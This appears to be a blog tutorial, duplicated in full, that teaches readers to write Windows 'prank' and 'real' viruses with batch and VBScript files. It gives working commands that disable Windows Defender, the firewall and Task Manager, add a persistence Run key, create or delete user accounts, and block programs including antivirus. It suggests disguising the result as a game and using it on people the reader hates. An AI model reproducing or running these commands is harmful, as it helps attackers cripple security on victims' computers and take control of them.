COMMAND PROMPT AND THE BATCH FILE:
On every windows computer is a program called command prompt. You can open it by going to Start > Run and type
CMD.EXE into the box and clicking OK. The command prompt is a basic command tool for windows. Basically, you can
command the computer to do almost anything by typing a command that it recognizes. A "batch file" is a special file with a
list of commands for the command prompt to do. e.g. putting a shutdown command into a batch file, then opening the
batch file, will command the Command Prompt to shutdown the computer. Get it?. To create a "batch file" just type
out the commands you want in Notepad and save it as something.bat You must add a ".bat" at the end!
__________________________________________________ __________________________________________________ _________
PRANK VIRUSES:
Prank viruses are a great way to use batch files to scare someone without actually damaging their computer. Use pranks on most
people, and real ones only on people you REALLY hate. You can create most pranks in notepad. here is one of
the simplest pranks ever:
1. open notepad
2. type the following:
---------------------------------------------------------------------------
@echo off
title VIRUS ALERT
color 04
echo A VIRUS HAS BEEN DETECTED ON YOUR COMPUTER AND WILL ERASE EVERYTHING!
pause >nul
---------------------------------------------------------------------------
3. Save it as anything.bat (click File > save as)
This prank will display a black box that says the message i typed above. pressing any key will get rid of it.
lets go through each line:
@echo off - Goes at the beginning of ALL viruses
title VIRUS ALERT -Makes the top of the box say VIRUS ALERT. You can change it to what you want.
color 04 -Makes the color of the writing RED. Experiment with these numbers to chage colours.
e.g "0a" makes it flourescent green.
echo A VIRUS HAS BEEN DETECTED ON YOUR COMPUTER -This line makes the black box say something. To a computer, "echo"
means "say". So typing "echo HELLO" really means "say HELLO"
pause >nul -This makes te batch file pause what it is doing. Naturally the box will close immediatly after doing the
last command in the code, making any message flash up too quickly to read. The pause makes it stop until you
press any key to continue. If you leave out the ">nul" and just type the "pause" bit, it will say "Press any
key to continue..." which spoils it a bit. ">nul" makes the "Press any key..." invisible but you still have to
press a key to resume. You can put "pause" anywhere in the code.
-------------------------------------------------------------------------------------------------------------------
Now add something a little scarier to the code above. put these lines of code anwhere in the file:
taskkill -f -im explorer.exe -This makes the start bar and icons disappear.
shutdown -s -t 60 -This makes the computer shutdown in 60 seconds. You can change the number to any number of
seconds you want. The "-s" means "shutdown". change it to "-r" for restart, or "-h" for hibernation.
-------------------------------------------------------------------------------------------------------------------------
MORE CODES TO ADD TO THE VIRUS. YOU CAN GET MANY MORE ON YOUTUBE.
shutdown -l -Makes the user log off but not shutdown
copy virus.bat C:\windows\ -This copies your virus into the Windows system file. change "virus.bat" to
whatever you name your virus file.
start iexplore.exe Google -Makes internet explorer pop up the webpage you specify. change "google" to whatever
you want.
net user asphyxiat3d virus /add -This code adds a new account with a password to the computer. The username in the example
will be "asphyxiat3d" and the password will be "virus". Change the name and password to your liking.
net user Yourname /delete -This will delete an account. you must change the "Yourname" to the account name you
want to delete.
mkdir %userprofile%\desktop\virus3000 -This creates an empty folder on the users desktop named "virus3000" Please change
the name to what you want
net stop "security center" -These 4 lines of code will shut down most of the security on a computer.
net stop "sharedaccess" Do not remove the " symbols or change it in any way.
net stop "windows defender"
netsh firewall set opmode mode = disable
del "%userprofile%\desktop\internet explorer" -This code will delete the internet explorer icon on the users desktop.
You can change the path name to make it delete something else.
THE BAT TO EXE CONVERTER:
-------------------------
This simple tool lets you convert batch files into programs. The advantages of this is that a program is easier to
disguise, because you cant right-click it to edit it and see the code. And you can say its a game or anything like that.
__________________________________________________ __________________________________________________ _____________________
THE WINDOWS REGISTRY
The registry is a huge list of files and instructions for the computer and its programs. The registry tells the
computer and programs how to work and what to do. This registry can be edited with the Command Prompt or manually.
Modifying the registry is a great feature to put in prank or mostly real viruses. "If you control the registry, you
control the computer." see?
Currently I do not know a lot of registry keys to add or modify, but I know a few useful ones.
REGISTRY KEY COMMANDS. You enter these lines into a batch file if you are using any of them.
(Note: It is advised that you restart the computer to make these changes take effect.)
------------------------------------------------------------------------------------------------------------------
Make your virus start everytime you turn on the computer:
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\curr entversion\run /hate /d C:\windows\something.bat (change "something.bat" to yours)
(For this to work you must use the "copy" command before it and copy it to C:\windows\)
------------------------------------------------------------------------------------------------------------------
Disable the Task Manager:
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\system /v DisableTaskMgr /t REG_DWORD /d 1
-----------------------------------------------------------------------------------------------------------------------
Remove "Shutdown" and "All Programs" from start menu
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer /v NoClose /t REG_DWORD /d 1
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1
-----------------------------------------------------------------------------------------------------------------------
Disable the Internet
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 1 /d iexplore.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer /v DisallowRun /t REG_DWORD /d 1
------------------------------------------------------------------------------------------------------------------------
Disable lots of windows features (Do not use with the Internet disabler as it is included in this one)
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer /v DisallowRun /t REG_DWORD /d 1
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 1 /d iexplore.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 2 /d notepad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 3 /d wordpad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 4 /d wmplayer.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 5 /d msnmsgr.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 6 /d avast.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 7 /d help.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 7 /d steam.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 7 /d winmail.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 7 /d outlook.exe
__________________________________________________ __________________________________________________ _______________________
VBSCRIPT AND WINDOWS SCRIPT HOST
The windows Script Host is a program in your computer that runs VBS files. VBS files are like batch files (You make them out of lines of code).
They are made like Batch files. The only difference is that VBS files do different commands, like sending emails and popping
up message boxes.
8 years ago, there was a terrible computer virus released. It was called the "LoveLetter Virus" and it spread around the globe in just
hours. It infected thousands of computers and caused $10 billion in damage. You would think that the LoveLetter virus was
made very specially made, and was a program? No. It was made entirely out of VBScript, so anyone can make it! I currently have
the entire LoveLetter code, but I cannot post it here as your anti-virus would delete this file immediately.
More info about the LoveLetter Virus here.
----------------------------------------------------------------------------------------------------------------------------
Pop up a message box:
X= MsgBox("This is the message body",0+16,"Message title")
The above code will make a critical error box pop up, with the button OK on it.
You can change the Message box theme and buttons. Where it says "0+16" you can
change the numbers to change the box.
Buttons:
0 - OK
1 - Ok Cancel
2 - Abort Retry Ignore
3 - Yes No Cancel
4 - Yes No
5 - Retry Cancel
Themes:
Critical error - 16
Question - 32
Warning - 48
Information - 64
Put the button number first, then the theme number: Button+Theme
e.g 2+48 is a warning box with the Abort, Retry and Cancel buttons.
----------------------------------------------------------------------------------------------------------------------------
Here is some useful VBS code (REMEMBER TO SAVE AS ".vbs" INSTEAD OF ".bat")
Send an email with an attachment (Works on SOME computers):
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "Example email"
objMessage.From = "me@my.com"
objMessage.To = "test@roc13x.com"
objMessage.TextBody = "This is some sample message text."
objMessage.AddAttachment "c:\temp\readme.txt"
objMessage.Send
Please change the Subject, From, To, Text Body and Attachment path.(Or delete the whole Attachment line if not wanted)
On every windows computer is a program called command prompt. You can open it by going to Start > Run and type
CMD.EXE into the box and clicking OK. The command prompt is a basic command tool for windows. Basically, you can
command the computer to do almost anything by typing a command that it recognizes. A "batch file" is a special file with a
list of commands for the command prompt to do. e.g. putting a shutdown command into a batch file, then opening the
batch file, will command the Command Prompt to shutdown the computer. Get it?. To create a "batch file" just type
out the commands you want in Notepad and save it as something.bat You must add a ".bat" at the end!
__________________________________________________ __________________________________________________ _________
PRANK VIRUSES:
Prank viruses are a great way to use batch files to scare someone without actually damaging their computer. Use pranks on most
people, and real ones only on people you REALLY hate. You can create most pranks in notepad. here is one of
the simplest pranks ever:
1. open notepad
2. type the following:
---------------------------------------------------------------------------
@echo off
title VIRUS ALERT
color 04
echo A VIRUS HAS BEEN DETECTED ON YOUR COMPUTER AND WILL ERASE EVERYTHING!
pause >nul
---------------------------------------------------------------------------
3. Save it as anything.bat (click File > save as)
This prank will display a black box that says the message i typed above. pressing any key will get rid of it.
lets go through each line:
@echo off - Goes at the beginning of ALL viruses
title VIRUS ALERT -Makes the top of the box say VIRUS ALERT. You can change it to what you want.
color 04 -Makes the color of the writing RED. Experiment with these numbers to chage colours.
e.g "0a" makes it flourescent green.
echo A VIRUS HAS BEEN DETECTED ON YOUR COMPUTER -This line makes the black box say something. To a computer, "echo"
means "say". So typing "echo HELLO" really means "say HELLO"
pause >nul -This makes te batch file pause what it is doing. Naturally the box will close immediatly after doing the
last command in the code, making any message flash up too quickly to read. The pause makes it stop until you
press any key to continue. If you leave out the ">nul" and just type the "pause" bit, it will say "Press any
key to continue..." which spoils it a bit. ">nul" makes the "Press any key..." invisible but you still have to
press a key to resume. You can put "pause" anywhere in the code.
-------------------------------------------------------------------------------------------------------------------
Now add something a little scarier to the code above. put these lines of code anwhere in the file:
taskkill -f -im explorer.exe -This makes the start bar and icons disappear.
shutdown -s -t 60 -This makes the computer shutdown in 60 seconds. You can change the number to any number of
seconds you want. The "-s" means "shutdown". change it to "-r" for restart, or "-h" for hibernation.
-------------------------------------------------------------------------------------------------------------------------
MORE CODES TO ADD TO THE VIRUS. YOU CAN GET MANY MORE ON YOUTUBE.
shutdown -l -Makes the user log off but not shutdown
copy virus.bat C:\windows\ -This copies your virus into the Windows system file. change "virus.bat" to
whatever you name your virus file.
start iexplore.exe Google -Makes internet explorer pop up the webpage you specify. change "google" to whatever
you want.
net user asphyxiat3d virus /add -This code adds a new account with a password to the computer. The username in the example
will be "asphyxiat3d" and the password will be "virus". Change the name and password to your liking.
net user Yourname /delete -This will delete an account. you must change the "Yourname" to the account name you
want to delete.
mkdir %userprofile%\desktop\virus3000 -This creates an empty folder on the users desktop named "virus3000" Please change
the name to what you want
net stop "security center" -These 4 lines of code will shut down most of the security on a computer.
net stop "sharedaccess" Do not remove the " symbols or change it in any way.
net stop "windows defender"
netsh firewall set opmode mode = disable
del "%userprofile%\desktop\internet explorer" -This code will delete the internet explorer icon on the users desktop.
You can change the path name to make it delete something else.
THE BAT TO EXE CONVERTER:
-------------------------
This simple tool lets you convert batch files into programs. The advantages of this is that a program is easier to
disguise, because you cant right-click it to edit it and see the code. And you can say its a game or anything like that.
__________________________________________________ __________________________________________________ _____________________
THE WINDOWS REGISTRY
The registry is a huge list of files and instructions for the computer and its programs. The registry tells the
computer and programs how to work and what to do. This registry can be edited with the Command Prompt or manually.
Modifying the registry is a great feature to put in prank or mostly real viruses. "If you control the registry, you
control the computer." see?
Currently I do not know a lot of registry keys to add or modify, but I know a few useful ones.
REGISTRY KEY COMMANDS. You enter these lines into a batch file if you are using any of them.
(Note: It is advised that you restart the computer to make these changes take effect.)
------------------------------------------------------------------------------------------------------------------
Make your virus start everytime you turn on the computer:
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\curr entversion\run /hate /d C:\windows\something.bat (change "something.bat" to yours)
(For this to work you must use the "copy" command before it and copy it to C:\windows\)
------------------------------------------------------------------------------------------------------------------
Disable the Task Manager:
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\system /v DisableTaskMgr /t REG_DWORD /d 1
-----------------------------------------------------------------------------------------------------------------------
Remove "Shutdown" and "All Programs" from start menu
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer /v NoClose /t REG_DWORD /d 1
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1
-----------------------------------------------------------------------------------------------------------------------
Disable the Internet
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 1 /d iexplore.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer /v DisallowRun /t REG_DWORD /d 1
------------------------------------------------------------------------------------------------------------------------
Disable lots of windows features (Do not use with the Internet disabler as it is included in this one)
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer /v DisallowRun /t REG_DWORD /d 1
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 1 /d iexplore.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 2 /d notepad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 3 /d wordpad.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 4 /d wmplayer.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 5 /d msnmsgr.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 6 /d avast.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 7 /d help.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 7 /d steam.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 7 /d winmail.exe
reg add HKEY_CURRENT_USER\software\microsoft\windows\curre ntversion\policies\explorer\DisallowRun /v 7 /d outlook.exe
__________________________________________________ __________________________________________________ _______________________
VBSCRIPT AND WINDOWS SCRIPT HOST
The windows Script Host is a program in your computer that runs VBS files. VBS files are like batch files (You make them out of lines of code).
They are made like Batch files. The only difference is that VBS files do different commands, like sending emails and popping
up message boxes.
8 years ago, there was a terrible computer virus released. It was called the "LoveLetter Virus" and it spread around the globe in just
hours. It infected thousands of computers and caused $10 billion in damage. You would think that the LoveLetter virus was
made very specially made, and was a program? No. It was made entirely out of VBScript, so anyone can make it! I currently have
the entire LoveLetter code, but I cannot post it here as your anti-virus would delete this file immediately.
More info about the LoveLetter Virus here.
----------------------------------------------------------------------------------------------------------------------------
Pop up a message box:
X= MsgBox("This is the message body",0+16,"Message title")
The above code will make a critical error box pop up, with the button OK on it.
You can change the Message box theme and buttons. Where it says "0+16" you can
change the numbers to change the box.
Buttons:
0 - OK
1 - Ok Cancel
2 - Abort Retry Ignore
3 - Yes No Cancel
4 - Yes No
5 - Retry Cancel
Themes:
Critical error - 16
Question - 32
Warning - 48
Information - 64
Put the button number first, then the theme number: Button+Theme
e.g 2+48 is a warning box with the Abort, Retry and Cancel buttons.
----------------------------------------------------------------------------------------------------------------------------
Here is some useful VBS code (REMEMBER TO SAVE AS ".vbs" INSTEAD OF ".bat")
Send an email with an attachment (Works on SOME computers):
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "Example email"
objMessage.From = "me@my.com"
objMessage.To = "test@roc13x.com"
objMessage.TextBody = "This is some sample message text."
objMessage.AddAttachment "c:\temp\readme.txt"
objMessage.Send
Please change the Subject, From, To, Text Body and Attachment path.(Or delete the whole Attachment line if not wanted)
0 comments:
Post a Comment